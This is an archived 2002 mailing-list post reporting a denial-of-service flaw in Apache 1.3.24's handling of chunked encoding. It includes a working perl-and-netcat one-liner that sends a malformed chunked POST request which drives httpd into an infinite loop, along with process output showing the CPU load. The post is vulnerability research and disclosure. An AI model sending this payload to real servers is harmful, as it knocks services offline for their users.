Vulnerability Development mailing list archives

apache chunked encoding


From: Przemyslaw Frasunek <venglin () freebsd lublin pl>
Date: 20 Jun 2002 00:21:47 +0200

Hello.

I was playing a bit with chunked encoding vulnerability and found the
following. When I send a request to Apache 1.3.24 using malformed
chunked encoding, httpd process goes into infinite loop and CPU load
grows to 100%. Example:

perl -e 'print "POST http://www/index.html HTTP/1.1\r\nAccept: */*\r\nHost: www\r\nContent-Type: 
application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\nContent-length: 5000\r\n\r\n" . "A"x5000 . 
"\r\n\r\n"' | nc localhost 80

62681 www       63   0   146M  5364K RUN      3:08 45.90% 45.90% apache
42121 www       63   0   139M  2524K RUN      1:15 44.97% 44.97% apache

Can anyone try it with 1.3.26?

-- 
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
* Inet: przemyslaw () frasunek com ** PGP: D48684904685DF43EA93AFA13BE170BF *


Current thread: